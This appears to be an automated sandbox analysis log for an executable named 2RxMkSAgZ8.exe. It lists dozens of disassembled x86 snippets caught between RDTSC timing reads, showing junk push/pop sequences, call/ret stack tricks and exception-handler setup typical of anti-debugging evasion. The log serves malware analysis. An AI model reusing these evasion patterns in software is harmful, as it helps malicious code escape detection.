Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110EFFF second address: 110F005 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110EE07 second address: 110EE0D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110F005 second address: 110F0A2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40A5132E9Ch 0x00000008 jg 00007F40A5132E96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F40A5132E9Fh 0x00000016 nop 0x00000017 mov si, 3DCAh 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F40A5132E98h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 mov si, cx 0x0000003a mov esi, dword ptr [ebp+122D396Dh] 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007F40A5132E98h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 0000001Ch 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c mov dword ptr [ebp+122D29AAh], esi 0x00000062 je 00007F40A5132EA0h 0x00000068 pushad 0x00000069 mov dh, 42h 0x0000006b add ebx, dword ptr [ebp+122D3A2Dh] 0x00000071 popad 0x00000072 and edi, dword ptr [ebp+122D3785h] 0x00000078 xchg eax, ebx 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push ebx 0x0000007d pop ebx 0x0000007e pop eax 0x0000007f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110F0A2 second address: 110F0A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110FACD second address: 110FADF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007F40A5132E96h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110FADF second address: 110FAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110FAE3 second address: 110FB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F40A5132E98h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D2492h], eax 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F40A5132E98h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Bh 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F40A5132E98h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 xchg eax, ebx 0x00000061 push esi 0x00000062 push ecx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111148E second address: 11114C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F40A503F445h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F40A503F43Ch 0x00000018 jnl 00007F40A503F436h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11129E6 second address: 1112A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 xor dword ptr [ebp+122D1B13h], eax 0x0000000c push 00000000h 0x0000000e mov di, dx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F40A5132E98h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+12477880h], edx 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1112A27 second address: 1112A31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1112A31 second address: 1112A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1111C19 second address: 1111CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F40A503F438h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D1BB5h], ebx 0x00000029 sub dword ptr [ebp+122D306Ch], eax 0x0000002f push dword ptr fs:[00000000h] 0x00000036 call 00007F40A503F444h 0x0000003b cld 0x0000003c pop edi 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 movzx ebx, cx 0x00000047 mov eax, dword ptr [ebp+122D0395h] 0x0000004d jns 00007F40A503F442h 0x00000053 jns 00007F40A503F43Ch 0x00000059 or edi, dword ptr [ebp+1247C39Dh] 0x0000005f push FFFFFFFFh 0x00000061 push 00000000h 0x00000063 push ecx 0x00000064 call 00007F40A503F438h 0x00000069 pop ecx 0x0000006a mov dword ptr [esp+04h], ecx 0x0000006e add dword ptr [esp+04h], 00000014h 0x00000076 inc ecx 0x00000077 push ecx 0x00000078 ret 0x00000079 pop ecx 0x0000007a ret 0x0000007b xor ebx, dword ptr [ebp+122D3931h] 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 je 00007F40A503F436h 0x0000008b jmp 00007F40A503F43Ch 0x00000090 popad 0x00000091 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1111CC8 second address: 1111CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1115C14 second address: 1115C65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F441h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx ebx, ax 0x0000000d push 00000000h 0x0000000f mov bx, 141Dh 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F40A503F438h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2984h], edi 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1114CAC second address: 1114CDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F40A5132E9Dh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1115D96 second address: 1115DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F441h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1115DAC second address: 1115DB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1117BB5 second address: 1117BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1117BB9 second address: 1117BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1117BBD second address: 1117BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1117BC3 second address: 1117BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1116D8A second address: 1116E19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F40A503F436h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F40A503F438h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1ED9h], ebx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F40A503F438h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov bl, 84h 0x00000052 mov edi, dword ptr [ebp+122D1B63h] 0x00000058 mov dword ptr fs:[00000000h], esp 0x0000005f or ebx, 7CC0022Fh 0x00000065 mov eax, dword ptr [ebp+122D04F5h] 0x0000006b add dword ptr [ebp+12472C1Ch], ecx 0x00000071 push FFFFFFFFh 0x00000073 mov bl, 14h 0x00000075 push eax 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007F40A503F43Dh 0x0000007e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1116E19 second address: 1116E22 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1116E22 second address: 1116E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1118DD6 second address: 1118E64 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F40A5132E98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add dword ptr [ebp+122D3618h], ecx 0x00000011 jmp 00007F40A5132E9Dh 0x00000016 push dword ptr fs:[00000000h] 0x0000001d jmp 00007F40A5132E9Ah 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 mov bx, ax 0x0000002c mov eax, dword ptr [ebp+122D0445h] 0x00000032 pushad 0x00000033 mov dword ptr [ebp+122D198Fh], edx 0x00000039 jng 00007F40A5132E9Ch 0x0000003f or dword ptr [ebp+122D3526h], ebx 0x00000045 popad 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push ebp 0x0000004b call 00007F40A5132E98h 0x00000050 pop ebp 0x00000051 mov dword ptr [esp+04h], ebp 0x00000055 add dword ptr [esp+04h], 00000019h 0x0000005d inc ebp 0x0000005e push ebp 0x0000005f ret 0x00000060 pop ebp 0x00000061 ret 0x00000062 nop 0x00000063 jmp 00007F40A5132E9Fh 0x00000068 push eax 0x00000069 push ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111BCAB second address: 111BCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111CC1C second address: 111CC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F40A5132EA1h 0x0000000c nop 0x0000000d stc 0x0000000e mov ebx, dword ptr [ebp+122D1C71h] 0x00000014 push 00000000h 0x00000016 mov bx, 88D7h 0x0000001a push 00000000h 0x0000001c jmp 00007F40A5132E9Eh 0x00000021 xchg eax, esi 0x00000022 push esi 0x00000023 pushad 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 pop esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jng 00007F40A5132E96h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DC89 second address: 111DCC5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F40A503F43Bh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F40A503F441h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F40A503F446h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DCC5 second address: 111DCC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DCC9 second address: 111DD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F40A503F438h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F40A503F438h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e sub bx, 05ABh 0x00000043 push 00000000h 0x00000045 pushad 0x00000046 mov al, D4h 0x00000048 movsx edi, ax 0x0000004b popad 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push edx 0x00000052 pop edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DD29 second address: 111DD2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DD2D second address: 111DD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DD33 second address: 111DD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DD39 second address: 111DD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111AEB3 second address: 111AEB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10CE4C3 second address: 10CE4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10CE4CE second address: 10CE4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10CE4D4 second address: 10CE4F5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F40A503F441h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10CE4F5 second address: 10CE4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10CE4FE second address: 10CE502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DF85 second address: 111DF89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 111DF89 second address: 111DF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1122B51 second address: 1122B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1123AEE second address: 1123AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1122D0D second address: 1122D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1122D11 second address: 1122D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10C5EC1 second address: 10C5EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10C5EC5 second address: 10C5ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10C5ECB second address: 10C5EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F40A5132E98h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 112E196 second address: 112E1AF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F40A503F43Eh 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 112E4E1 second address: 112E4E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11343DD second address: 11343FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F40A503F436h 0x0000000a popad 0x0000000b jmp 00007F40A503F43Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F40A503F438h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11343FF second address: 113440E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F40A5132E96h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 113440E second address: 1134422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F43Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1134EDC second address: 1134EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1134EE9 second address: 1134F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F40A503F440h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1134F05 second address: 1134F0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1134F0F second address: 1134F42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F40A503F444h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 jo 00007F40A503F43Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1134F42 second address: 1134F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 113AC41 second address: 113AC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1139902 second address: 113990B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 113990B second address: 113992E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F40A503F455h 0x00000008 jmp 00007F40A503F449h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 113A3BA second address: 113A3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 113A3C0 second address: 113A3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143DEA second address: 1143E06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143E06 second address: 1143E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143E0F second address: 1143E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143E14 second address: 1143E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143F62 second address: 1143F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F40A5132E96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1143F70 second address: 1143F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
